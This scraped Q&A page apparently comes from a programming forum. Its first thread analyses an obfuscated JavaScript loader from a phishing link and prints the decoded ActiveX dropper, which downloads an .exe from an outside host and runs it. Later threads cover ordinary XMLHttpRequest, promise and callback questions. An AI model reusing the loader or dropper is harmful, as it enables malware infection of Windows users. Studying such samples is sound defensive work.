Javascript malware. How to study a ciphered function? - javascript

I have received an fake e-mail linking a website, ---DANGER--- kadiogluhotel.com/437019344HKFAHDzE9ykByni6Qd2TQSfkSYy2z7=
Q7FftdKRHHaY8y96R6H668tf8KaZ69ttKzhyRRayafkHeaDY79Q38887G9TD9aYKA66dH6/TmFu=
ZG8=3D/KaNTmFuZG8=3D/ ---DANGER--- that tries to download a zip file only if your browser user-agent is setted to some Windows configuration. This zip file contains a little js file and copy himself into the new folder.
I have tried to study the code but, really, I have been interested in javascript only since a few months. I need some help.
I have tried to execute the code in the chrome console over a debian virtual machine protected by firejail, but I have not been able to extract in plain text the returned function, "wxmvg",that is doing the work. The virus payload seems to be unable to run into linux, or I have not been able to detect it.
What steps should I take to decipher the function?
Thank you!
The code looks like:
--------WARNING MALWARE---------------------------
function fubrc()
{
var rshcb="a6c56d9745b875ef1553fcd44d2a59bbc5fd685eeaf10cb357eb955f4144a7874c3951fe544d9651bc276a5742d425fcac5dd9865a4b42a635cdc618a0545c4c42f905ce0f1cb3210cab53a5451d785cc9c5cc3052f5451ab753e8e5bc6919c0b4bce644a2a42cb149e104bd9b46b6151c8b42e6410ed048c445daa35ccc578a3e44a1e44fa940ced10c750db6a10c395ea0b55ba747c2310f4671d6653d1144a7e59af746b2b55e8f68c987fbc352d355afd855a9c53c3c44c5418c6212fa37dc0a63c2368e5f7ded27cb0e02fa81ec1068b8f7ddc47cd9d78f1864c7964d4d60c4b12d8619d3e0baa148de85dd855cf1d78ddd44a4544dd940c6b1ebf45fd8640d8155d2e5ea0718c6812be577a2975bb664e4a12d791cfe110a8845a1942a225cc881cea810bb956f1551af85cf8f43b4f55b6619f870bb9848c1e5dfe05cb4678ff644ae544dab40cff1ec3443fdb55a255ed8554d5518b0819c770be8659a2156f9f10fe218ebe48fd15de895cb2c78d4744abc44c0540fb61ef9f43f5d44f5951f1744fed45b4f43ac310cdf0db490dde510ecd02f8300d4700af819da710cea4bb1842c8555ca944e3945b1542acb5ea7e10d0f53a2051c995cad95cd5e52fba51b0d53fcf5badb18ee348f9b5df9d5cbe678f2344c0844b8340ecc1ef0062fb755c9643d6f40b175fa665ec2743d8155"+
"ac872bb55fe0d54d5949ea21cb4710b8856d9c51eef5cc0643c0355ecd19bc70ba6b4dd5755f005cac243d7a55c704bbc342d5c55f4044d7745a8b42f215eab010fd753e7d51cc45ca115cba552a7851f1f53a165bfd718fe35ecb145f075cd245ce341ce8f10a9544d4542d5645e2355bd319c4f0bc184deb04da0b53b8451b0c44c5153fc558a0710bd418c5855ca942e9442c0c5fbf542c2d19b034bb6f42c8855ec644a5045da542a9d5eb1710a4553ba751bce5cce55cb8c52f6951a8d53f185be2118f715eb8445dcd5ce1a5ce6a1cb9310e5844c6f42b1e45fe155ec719e1f0ba9a4de8a4dd6156b9045c8d5eef353e5444f2359ffe5fbce5eaf910fd157c8655ccd44a3574e2451ae844bb951c9818cc453cf251eae5ce375cb0352aa651c9853d075bad319d5b4bab844b3742c2149b244bf6c57e9855bfe44f9074aa751b5b44e6851caa76f1b42e6d5fa245deeb65b4042be35ce2c18b6112a5758cb144a9144e7740f880ae681fdab1fbfa47ccb47b1147b251ed0157db955d0e42a5751c3b5ceb754de557b625fa9342ab455c6c1ece853e015fea55db371fa235ecb255fe747fee43e1a1fa6101ebe07ca01ec9455dc648ac755b4312cf21cfb210fa256cc845ca45ec1d53e7644b1359d3e5fa635ebb218b8c42c4755c0443e1d45a7d5ce7544ca51cc5810c5c55d8942dc142"+
"c245fe9d42a8d19e0410f004baf559c7956fdd10d7518a2111a8355c6b42a7342e5c5fb2642f2419a8a4bd4842cdf55fee44f2845e7d42d045ef0910dc053e0b51ab35cf675cbb552a8451a4553d3b5bcc518f9d42b2a55fe443d1e45fc55ca1e44c381cd5b10efd56d6051e135cf4443c1455d9419d410bf614dfb355b575ce2643faa55c9a4bd5d57fad55a4744bc074b0f51b7044caf51e0e76b7a42ec45fc695dc3365b3742d735cbac18af312f6c58d4644d6b44b4940dbd0aa111fb531fdd947f1347d3247ff71ec9057f3e55d8342aef51e1f5ce3454ab157f825fe1542ea455b3c1eeee53e975fa075de071fe905eaa555a6c47b4c43c281ff7001c6007c321ef4a55b3548dec55b1812c2d1cb6110ac356d8045bef5ef6253f3544d7759fe75fd375eaa918efd42eea55a9343fb245d885cd5a44ec11cb9110f2455a3d42d2c42d1c5fa3642bd219c7910e1d4bdf059d4356de510f1818fb911c4055b7b42db942f2e5fbee42a9d19d224bfb142a9255d4d44ab145de742c025ee5410e8453f9c51f4d5cf105ce2252ea651fb153e715bbc018cbf42d0755e7e43d2345cf45cac644ace1cc9b10d7256dad51b105caa343c9055c3b19d000bfa74dac355a5b5cfd243e7c55fac4bbb857c4155aa344f4c74ce751f1444e2851dd676fbc42d875fbc35df4665f5e42e135cf7318a3312"+
"b2558fb344a8f44ee640b520ac261fffa1fffb47e0247ab447b151edde57fe855dd742e3b51a0d5cc7b54a4a57f445fe6e42aae55c5c1ecec53f005fb0c5dea71ff2d5ec3155ae447cd043bf41fb5801aa807e821ecba55ba648d7755cf012c101cf7710cb656dea45a265eded53d7944ba459d6a5fac95ed5018b1e42d6a55efa43deb45e9a5cf4244b9c1cd3210b4d55ff242b3342bc95feb742d6719b5e10e134ba6a59ffd56e1210fc118e2311a7f55d6a42efe42c455fc4542d5a19b294bae942ab655b9744b9c45b1342e115ee6510ab953c4c51a7f5cd8d5caa952cc251e3a53f7b5bf5b18e3242b4c55fa143cb845c5f5cb7944fd61ceb810c7f56b4351e255ce4943ff355f7f19bc30ba194dfc755aa35cd3943c6c55d4d4be4142c1e55dd744c2445d4542ae15ed1b10f0d53b1351ea75cf8a5ceda52e7851bd953d8c5bf0b18e3b5edd645c265cd2e5cef81cdc610bac44fea42b8245a5b55f2d19daa0be2c4dbad4dbab19f580ba034de624dca019dbd0bb9e4db1a4defb19d360bc6e4da1553d2d51ff344e7c53c1958b6110b9118e7e55de242a7742e985fb3042ae919bdf4ba5e42da655ded44df445d0442f005ea0310dd653bf551f325cd475cdc152e6151fef53a085bb5118e805ea1845c465cff95cf9b1cb3910b2d44bfd42be845d4c55f2419b350bf094da474dd1e56"+
"c4345e845efc253df244a0559f575fe905eb5310f7757b1755a7044b5264ded55d9c5df0640a6076c6359a085cb6f55d9e60eb651d1a44f9a58d3418bfc19ff34bb6844c6242e9849e2e4bf1b46a0b51f5442cd710d3556cd443d3010aae0da0810d705ed4055b6447e3910a9771d3053e0844a2a59d2546d4d55ac468d577fb9c52c7f5aa0855c2053ae444c1518aa712c5063b6653cea42e3359da040da444e2559d255ef0557aae1ec1476a4959ca85ca8a55b2663e0e49a9243c2444ddc55ef85de687fa7b52fc65aafc55f3d53a1844a2e12b8219c2f0bb1d46de351a2042ec610bf444eb75dfd740be976b4e59b025cbc355a827eb0351f8f5da0d55c0010f770dba710ff012d446cf816ce9812eb210a991bab310e2b7dcd251e2c44bcb58e7e1ea3742a1f51dea5ef2354b3d5fc1e5da9d18b7f19aba1ef0144fb45faf463e9444d5642f9959df05ede257c4818b4303eec06ea819ab61ecaf43d4345eea52c0943a2944a8c42dbe18f0e02d801ca0510cef09b9319c8210aea1bfec10b2512ebe1ee9955e3148d4055fa912fe20be8046e9951d4942c8a10f7744d7e5da6240ad576faf59b6d5cc4555a3d60dd251a4944ffe58a9710abb0dad010c0456bf043a6d1ec6177bfd55ce144ebe63ed940bd455ae153d6a59ea051ccf5cb4576b935faf35cbfd54aca55f2942e3918ecf02"+
"da919b3610a801bbc210cf144d2f5dc5b40aed76fde59bcb5ca7755f097eaa151dec5df8b55f2d0bd0242cc255a8f44abb45ed342b9b5ef0610f4644dfd5dbaf40a5976b0659ccc5cbf955ac660b1f51ed944bab58d500bc044dcb953e1351b6f44aad53db058efa10fc818b1255ea642d2e42f7a5fc6b42c9219c9b4bb1842ef655cb244ee345aec42c0d5ec7510aba56f4351f0b5cddc43eaa55b360bc264dd364dc9f56bf545de15eaa453b8d44aea59fe55fc485ef0910b3a43d8351cb246f4155f7b64eb35ffb364c8255fe55dacf40df118b7954cd551d9844d4d51b391ccf510d5c53deb51e285ceb75ce1d52c9a51f2353ba75bae919d774beeb44d0a42c9c49f794bb5946ab151f7242e0c10bab40e4351b3244ecb58d3510cea0de3f10c4057cf155dc044c2464ae855b405dc3740ad976b4859e205ce9d55c1b60ca951a2a44b4058f8d18cd119ffd0bc4159f4356c2b10b9c18a1840d3951b8b44e5458fb119f9f4bdf346db651f3742c7e10b8e5ff1252b505ae3d63bc944b8242a1e55b0b51d6d5dac510a1b0dabc10ae15eff355d2e47a5810b7871bb253e6744f7459a8446f8e55d0f68d6c7ffff52f135ab4055f8553f6a44b2118c3912fee71d9074d3f7fbec74bbc72ce11eea863b8c44ebf42e3255cd251c8a5de1c12e6c19d980bcf75fcd252e205ade563dd844f5642"+
"fad55cad51b845da2c1ec8a7fed940eb055d695eef718c0b19f770bdd15fc1952d105ac9163a7f44d7a42aee55fdf51a495defe1eb8c64bdd49f8f40cd755cdd10c750da0510e5201e760bc545fc9b52bd05aea163e2d44b9b42bf355cfb51ffe5ded71eb5a67cb342af159ffa44fcb55d2518b4454cb351a7144a5f51c7419adf0bbed5fbab52a785af1963a6c44bc842cff55c1351b895dd071ecf660b515fe5843c1859e1c44f5959ba85fa185eb7e10ff00db7910dac00da10ba225fd1252bc75aee163b2244f6842f3755c7c51ee75df021efa363e3351e8f46c5f55c0164d775fa3076c0159b9e5cd5055f1518ef840eff51e6444ecd58e641cb6710ece02ee919eac0bd6d5fe3b52b3a5ab2e63ceb44bf242c4755e3451e245dc1d1ea0373e765cfb85fce043c7955aa718a3a19d1c0bfff42e5f55f8944e7e45b2b42f8a5ecd210eec53c2f51eae5cf8f5cd7452d4a51a3253a845bf4b18c0940d8851bc044bc558b9b1ca4310cd656af951aee5cbc443e4c55db419e110bd5d4df8755d005cde843ae655d1610d634bf5642dd255fc244f6645d3d42aa85ef5710a5753cd851e7c5ce425ccbf52c9b51d6153ee35bf1c18bb25edc745e555cc3b5cb3f1cb8010bd244e7842e5745ae855e3319ebe0bca44dd264db5953b9e51fbd44e9453c8858f9810b7018c6555bbe42d6142ea55f"+
"cdc42ca819b014bce942eb155ce744e6c45ba842b5c5eb4710da553b1f51f685cec75ccc352c4351e3853d735ba0718ed05ec6445da55cd805ce671ccb410d3744fe042b0e45cb055f0819ced0bd994de114dd1657e7255be444da374bdc51a3944fe351b6218aea56ddb45d7b5ee7353a0344b4d59c7b5fb9f5ef6d10f0318ea254d4e51bd744acc51bc71cce010b7155e9942f4f42d285ffe242e9519ec310bdf4ba1a59c6a56a0110a8018d5d11dff55ebf42a0742c845fcb142cc119a574bf6e43f7851b2c46a0b55a9764e0e5fbe864d7355dde5ddd440a9918a5e54d0151bb044ac351cab1cc1b10e9356a3e45ecc5eac653dd044d6459daf5fbaa5ec2610a9618f6f40e6151e6c44f8058a371cdbb10e7755f0142c1342f3a5fae142af719acb10e834bc9559f3156d1710ec118a4111a1455f3342e4242b5f5fe3642a0f19c724bce244eff42ef349a244bbf646cb951ced42bee10f2047d9143f1e58fef10ffd0deef10a3d5ec9055a1947e6910e1071ca253c6344c2259bd146abe55ad368e5b7fc5b52a315ade255a7b53bd144c4318c9112cbb67cc063dad53b2342a3559aa540aca44e191ee7b63af558a7e55ffc5cc875cbc912cca19fd60bee347dc343ba058eb91ebcf62b0c45ee55ec4118e0d40d5a51e5044af758b2219fed0bb404db7453a7351bc644cbe53b5458e4910"+
"c5718e8855e5842f0b42cd35fdd942f3619b8110aa64bc994deec4dbf54dfd019bb40be324dace4dd0219ec00b";
var wxmvg;
while(true){
try
{
wxmvg=(new Function("tvxzi","var utwcv=tvxzi"+katho()+"/\\S{5}/g),vnosx=\"\",yrtpl"+katho()+"ile(yrtpl<utwcv"+katho()+"gth){vnosx+"+katho()+"e"+katho()+"utwcv[yrtpl].substr(3,2),16)^48);yrtpl++;}eval(vnosx);")(rshcb));
break;
}
catch(er)
{
}
}
return wxmvg;
}
function katho()
{
var lrxbf=new Array("_3da","_gda","=String.fromCharCod","(parseInt(",".match(","=0;wh",".len","_aas","-_ad");
return lrxbf[Math.floor(Math.random()*lrxbf.length)];
}
fubrc();

If you change the eval call to console.log it will print the code in the console instead of executing it.
Once you have the code you can run it thru a beautifier to make it readable, and you'll get something like this...
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200) {
return callback(xmlHttp.ResponseBody, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
function getData(callback) {
try {
getDataFromUrl("http://www.geraldgore.com/news/17.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.geraldgore.com/news/17.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("http://www.geraldgore.com/news/17.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
return callback(null, true);
}
});
}
});
}
});
} catch (error) {
return callback(null, true);
}
}
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
} catch (error) {
return false;
}
}
function saveToTemp(data, callback) {
try {
var path = getTempFilePath();
if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
getData(function(data, error) {
if (!error) {
saveToTemp(data, function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}
}
});
}
});
What does it do? It takes advantage of crappy old Active X (for Internet Explorer users) by downloading an executable from the web, saving it to the user's computer and then executing it.
This in and of itself just downloads and executes a file and may or may not actually be malware. I did not inspect the executable nor the website they are downloaded from. For all I know this may be a tech support software.

Related

I get 'Synchronous XMLHttpRequest on the main thread' error, but my code works as expected

Here is a piece of my code to ensure if there is a file in the given URL.
if there is the file based on that file URL we will console.log('We have context for the question'); else console.log('No available context');
The code works as expected but an error occurs in the console:
speak('note');
function contextExist(url) {
return new Promise((resolve) => {
const xhr = new XMLHttpRequest();
xhr.open('HEAD', url, false);
xhr.send();
return resolve(xhr.status==200);
});
}
// Speak Module
async function speak(type) {
switch (type) {
case 'note':
let resolved = await contextExist('https://round-arm-authority.000webhostapp.com/Ultimate%20Video%20Hack/videos/vid1.mp4');
if(resolved === true){
console.log('We have context for the question');
} else {
console.log('No available context');
}
break;
}
}
Every time I got this error in my console:
since my code works fine I wonder if this is a serious error or not? How can I fix this error?
UPDATE:
speak('note');
function contextExist(url) {
return new Promise((resolve) => {
const xhr = new XMLHttpRequest();
xhr.open('HEAD', url, true);
xhr.onload = function (e) {
return resolve(xhr.status==200)
};
xhr.onerror = function (e) {
return resolve(xhr.status==200)
};
xhr.send();
});
}
// Speak Module
async function speak(type) {
switch (type) {
case 'note':
let resolved = await contextExist('https://round-arm-authority.000webhostapp.com/Ultimate%20Video%20Hack/videos/vid1.mp4');
if(resolved === true){
console.log('We have context for the question');
} else {
console.log('No available context');
}
break;
}
}

How to load contents of multiple files in particular order with Javascript/AJAX

I am using JS/AJAX to display the contents of multiple files on a page. The files are dynamically generated, and are loaded using a for-loop. There is one file that contains metadata for the set, including how many other files need to be loaded. The other files have a number in the filename, and I load them by requesting "file_[loop_index].json".
The problem is, the amount of data in each json file is arbitrary as well, and the AJAX calls will complete in the order of smallest file first. I want to display the data in order based on the name, rather than the size.
Here is a stripped-down example, suppose we want to display the contents of a book:
function get(url) {
return new Promise(function(resolve, reject) {
var req = new XMLHttpRequest();
req.open('GET', url);
req.onload = function() {
if (req.status == 200) {
resolve(req.response);
}
else {
reject(Error(req.statusText));
}
};
req.onerror = function() {
reject(Error("Network Error"));
};
req.send();
});
}
get('toc.json').then(function(response) {
chapters = JSON.parse(response)["chapters"];
return chapters;
}).then(function(levels) {
for (i = 0; i < chapters; i++) {
(function (i) {
get("chap".concat(i,".json")).then(function(response) {
console.log(response);
})
}(i));
}
});
toc.json:
{ "chapters": 2 }
chap0.json:
{ "text" : "00000" }
chap1.json:
{ "text" : "1" }
The result will be:
{ "text" : "1" }
{ "text" : "00000" }
Where as if I were to switch the number of characters in each file, the result would be:
{ "text" : "0" }
{ "text" : "11111" }
I want to print the line with "0"'s before the line with "1"'s regardless of each file size.
I cannot use async/await, as my page must work in IE11 and it does not support arrow functions.
The solution I thought of was to store the contents in an array, return that from the for-loop, and display the contents, i.e.:
Attempted Solution:
var tempArray = [];
function get(url) {
return new Promise(function(resolve, reject) {
var req = new XMLHttpRequest();
req.open('GET', url);
req.onload = function() {
if (req.status == 200) {
resolve(req.response);
} else {
reject(Error(req.statusText));
}
};
req.onerror = function() {
reject(Error("Network Error"));
};
req.send();
});
}
get('toc.json').then(function(response) {
chapters = JSON.parse(response)["chapters"];
return chapters;
}).then(function(levels) {
for (i = 0; i < chapters; i++) {
(function(i) {
get("chap".concat(i, ".json")).then(function(response) {
console.log(response);
tempArray[i] = response;
})
}(i));
}
return tempArray;
}).then(function(response) {
console.log(response);
}
);
But the final console.log(response) yields:
Array[]
I suppose this fails because the promise sequence is proceeding past the for-loop section before the actual AJAX calls complete. If I could figure out how to make it wait for them to finish, I would be there, but at the moment I am stumped.
Another solution that could work under other circumstances is to dynamically generate part of the html, and update the correct elements with the corresponding file contents. Unfortunately this is not an option for my particular use-case.
Any help? Thank you.
Bending over backwards to use promises. Why not just have the names in an array and have one function doing the getting, update the counter and call the function again?
var listOfFiles=["fileList.txt”],
cnt=0,
oReq = new XMLHttpRequest();
function reqListener () {
if (listOfFiles[0]=="fileList.txt") {
listOfFiles = this.responseText.split(",");
}
else {
processFile(this.responseText);
cnt++;
}
getFile();
}
oReq.addEventListener("load", reqListener);
function getFile() {
if (cnt >= listOfFiles.length) return;
oReq.open("GET", listOfFiles[cnt]);
oReq.send();
}
getFile();
Use Promise.all (XHR removed from the example, but Promises still used).
function getTOC() {
var jsonStr = JSON.stringify({
chapters: 2,
});
return Promise.resolve(jsonStr);
}
function getChapter(i) {
return Promise.resolve("chapter " + i);
}
getTOC()
.then(function(response) {
var chapters = JSON.parse(response)["chapters"];
return chapters;
})
.then(function(chapters) {
var promises = [];
for (i = 0; i < chapters; i++) {
promises.push(getChapter(i));
}
return Promise.all(promises);
})
.then(function(results) {
// results is an array of results, ordered as expected
console.log(results);
});

Making a Callback for AJAX Requests to return the response to the caller

I've looked all over the place and none of the answers I've found have been able to help me out with this problem. Basically I have a function that calls a separate function to make an XMLHttpRequest. The request goes to a server, which generates a random number and returns it to the page.
The problem is that while the request is fetching the data, the caller function continues through its commands. I need to have the data from the request before the caller can move forward. People have mentioned callbacks and promises, neither of which I have been able to grasp with what's available online. I'd rather use callbacks because promises aren't supported in all browsers. Can someone please help walk me through how to use them? I can provide some of the code that I have if needed.
Here's my caller function:
function plotData(dataSet)
{
var x = xScale+20; // 20 = margin length
var y = 260; //origin of graph
getRequest();
console.log("x = "+x);
console.log("dataSet = "+dataSet[0]+", "+dataSet[1]);
... //rest of the function commands
}
Here's my XML Request:
function getRequest()
{
var request;
if (window.XMLHttpRequest)
{ // Mozilla, Safari, IE7+ ...
request = new XMLHttpRequest();
}
else if (window.ActiveXObject)
{ // IE 6 and older
request = new ActiveXObject("Microsoft.XMLHTTP");
}
request.onreadystatechange = function()
{
console.log('onReady');
if (request.readyState === XMLHttpRequest.DONE)
{
if (request.status === 200)
{
random = request.responseText;
random = parseInt(random);
random = random/100;
random = random.toFixed(2);
console.log("random = " +random);
data[1] = random;
console.log("data = "+data[0]+", "+data[1]);
}
else
{
alert ('There was a problem with the request');
}
}
}
request.open("GET", "lak1010_hw05.php", true);
request.send();
}
Here is your modified getRequest function with the callback,
function getRequest(callback)
{
var request;
if (window.XMLHttpRequest)
{ // Mozilla, Safari, IE7+ ...
request = new XMLHttpRequest();
}
else if (window.ActiveXObject)
{ // IE 6 and older
request = new ActiveXObject("Microsoft.XMLHTTP");
}
request.onreadystatechange = function()
{
console.log('onReady');
if (request.readyState === XMLHttpRequest.DONE)
{
if (request.status === 200)
{
random = request.responseText;
random = parseInt(random);
random = random/100;
random = random.toFixed(2);
console.log("random = " +random);
data[1] = random;
console.log("data = "+data[0]+", "+data[1]);
// here call your callback
callback(random);
}
else
{
alert ('There was a problem with the request');
}
}
}
request.open("GET", "lak1010_hw05.php", true);
request.send();
}
Your calling method,
function plotData(dataSet)
{
var x = xScale+20; // 20 = margin length
var y = 260; //origin of graph
getRequest(function(random){
console.log('Random number received:');
console.log(random);
});
console.log("x = "+x);
console.log("dataSet = "+dataSet[0]+", "+dataSet[1]);
... //rest of the function commands
}
EDIT: Well shit I missed your edit and thought it was just a general promise question.
This is a function with parameters:
test = function(parameter) {
if (paramater) {
return true
} else {
return false
}
}
This is a function that has an extra parameter called a 'callback'.
test = function(parameter, callback) {
if (parameter) {
callback(null, 'result')
} else {
callback('error')
}
}
A callback usually has two arguments. An error, and an optional result.
As you can see, if parameter is true, we run a function that returns 'null' as the error, and 'result' as the result.
If you'd like to delay functions using a callback, you simply call the function like this:
test(true, function(err, result) {
if(err) {
console.log(err)
} else {
console.log(result)
}
})
Replace console.log with the function you want upon a successful result or error. It's hard to understand at first, but try writing some code for it - the reading is usually useless when you don't have an ingrained idea of asynchronous code.
You have to manually add the callbacks and stuff - here's an extract from my backend.
this.findOneByPhone = function(phone, req, res, callback) {
connection.acquire(function(err, con) {
con.query('select * from users where phone = ?', [phone], function(err, result) {
con.release()
if (err) {
callback(err)
} else {
callback(null, JSON.stringify(result[0], null, 4))
}
})
})
}
And then calling it;
this.findOneByPhone(user.phone, null, null, function(err, foundUser) {
if (err) {
res.status(500).json({message: 'Signup findOneByPhone failed.', error: err})
} else {
if (foundUser) {
var foundUserJSON = JSON.parse(foundUser)
res.json({status: 0, message: 'User already found in database, please skip signup', result: 'skip'})
} else {
res.json({status: 0, message: 'User is not in database, please signup', result: 'signup'})
}
}
})
Try the new fetch API. Promises with jQuery are pretty broken :/
=> https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch
var myHeaders = new Headers();
var myInit = { method: 'GET',
headers: myHeaders,
mode: 'cors',
cache: 'default' };
fetch('flowers.jpg', myInit)
.then(function(response) {
return response.blob();
})
.then(function(myBlob) {
var objectURL = URL.createObjectURL(myBlob);
myImage.src = objectURL;
});
Promises are the way to go here. You can use a Promise polyfill to help take care of unsupported browsers.
var myPromise = (function() {
return new Promise(function(resolve, reject) {
$.ajax({
url:'/page.php?id=123',
type:'POST',
success: function(data) {
resolve(data);
}
});
});
})();
myPromise.then(function(data) {
// Continue code here
});
Basically you create a promise that gets resolved with the data returned from your AJAX call. myPromise.then() gets fired when the Promise is resolved and you continue your code execution there with the data you passed along in the promise resolution. You can also reject() a promise if the AJAX error'd or had invalid data etc.
With your code something like this:
function plotData(dataSet)
{
var x = xScale+20; // 20 = margin length
var y = 260; //origin of graph
var myPromise = new Promise(function(resolve, reject) {
$.ajax({
url:'/page.php?id=123',
type:'POST',
success: function(dataSet) {
resolve(dataSet);
}
});
});
myPromise.then(function(dataSet) {
console.log("x = "+x);
console.log("dataSet = "+dataSet[0]+", "+dataSet[1]);
... //rest of the function commands
});
}
Simpler with just the callback:
function plotData(dataSet)
{
var x = xScale+20; // 20 = margin length
var y = 260; //origin of graph
$.ajax({
url:'/page.php?id=123',
type:'POST',
success: function(dataSet) {
console.log("x = "+x);
console.log("dataSet = "+dataSet[0]+", "+dataSet[1]);
... //rest of the function commands
}
});
}

Multiple xmlhttprequest on a page

I am having an error when using new XMLHttpRequest() for the second time in JavaScript code called from textbox event on page.
My JavaScript finds suggestions for text entry from the SQL to do that I use xmlhttprequest, it does fine when it is the first time but when I keep typing in the text box I receive:
"typeerror: xmlhttprequest not a costructor"
(this error happens only in Firefox)
This is my code:
function fnNull() { };
function changeofstate(){
if (XMLHttpRequest.readyState == 4)
{
whatever ;
}
XMLHttpRequest.onreadystatechange = fnNull();
}
function whentextchange(){
var WebURL = "the url here ";
XMLHttpRequest = CreateXmlHttpObject(changeOfState);
XMLHttpRequest.open("GET", WebURL, true);
XMLHttpRequest.send(null);
XMLHttpRequestt.abort();
}
}
function CreateXmlHttpObject(handler) {
var objXmlHttpReq = null;
var Req = null;
if (navigator.userAgent.indexOf("Opera")>=0)
{
return ;
}
if (navigator.userAgent.indexOf("MSIE")>=0)
{
var strName="Msxml2.XMLHTTP";
if (navigator.appVersion.indexOf("MSIE 5.5")>=0)
{
strName="Microsoft.XMLHTTP";
}
try
{
objXmlHttpReq=new ActiveXObject(strName);
objXmlHttpReq.onreadystatechange = handler;
return objXmlHttpReq;
}
catch(e)
{
return ;
}
}
if (navigator.userAgent.indexOf("Mozilla") >= 0) {
try
{
if (Req == null) {
Req = new XMLHttpRequest();
}
Req.onload = handler;
Req.onerror = handler;
return Req;
}
catch (e) {
alert(e);
alert(Req.responseText)
alert(e);
return;
}
}
}
You should name your request object something else than XMLHttpRequest. It might override the XMLHttpRequest object in the browser. Thus giving you the error.
XMLHttpRequest = CreateXmlHttpObject(changeOfState);
Assigning XMLHttpRequest variable like this is actually using global scope. You should use var and another variable name
var req = CreateXmlHttpObject(changeOfState);
Hope this clarifies.

xmlHTTPrequest won't open ("GET" , url, true); I'm miffed! PHP

I've been trying to get a url to open but I'm miffed as to why this hasn't worked. The code is listed and explained below. Any help will be deeply appreciated.
The object:
function getXMLHTTPRequest() {
var req = false;
try {
/* for Firefox */
req = new XMLHttpRequest();
} catch (err) {
try {
/* for some versions of IE */
req = new ActiveXObject("Msxml2.XMLHTTP");
} catch (err) {
try {
/* for some other versions of IE */
req = new ActiveXObject("Microsoft.XMLHTTP");
} catch (err) {
req = false;
}
}
}
return req;
}
The object is called like this:
<script type="text/javascript">
var myDelete = new getXMLHTTPRequest();
</script>
Now here's what I want to do:
function removeArticle(id) {
if (myDelete) {
try {
var deletUrl = "delete.php";
var query = deletUrl + "?theid=" + id;
myDelete.open("GET", query, true);
myDelete.onreadystatechange = removeArticleResponse;
myDelete.send(null);
} catch (e) {
alert ("Unable to connect to the server:\n" + e.toString());
}
} else {
alert ("Bad! Very BAD!");
}
}
When I do this:
if (myDelete.open("GET", query, true)) {
myDelete.onreadystatechange = removeArticleResponse;
myDelete.send(null);
} else {
alert ("No road!");
}
The alert("No road!"); shows me that the code doesn't execute passed this point:
if (myDelete.open("GET", query, true)) {
This means that the if (myDelete) { works. The code passes this stage and for some reason stops here: myDelete.open("GET", query, true); It won't open the url. I'm not sure what the problem is.
Edit: Here's the function used to access the server response:
function removeArticleResponse () {
if (myDelete.status == 4) {
if (myDelete.status == 200) {
try {
response = myDelete.responseText;
document.getElementById('displaynewsletterarticleresult').innerHTML = response;
} catch(e) {
alert("An error occured while reading the response:" + e.toString());
}
} else {
alert ("An error occured when attempting to retrieve the data:\n" + myDelete.statusText);
}
}
}
According to this, XMLHttpRequest.open() has no return value, so your check will always fail.
In your response function, do you mean to check .status == 4 instead of .readyState?
All xmlHTTPRequests are bound to the same origin policy. Maybe that's your issue.
You can read more about it at http://en.wikipedia.org/wiki/Same_origin_policy

Categories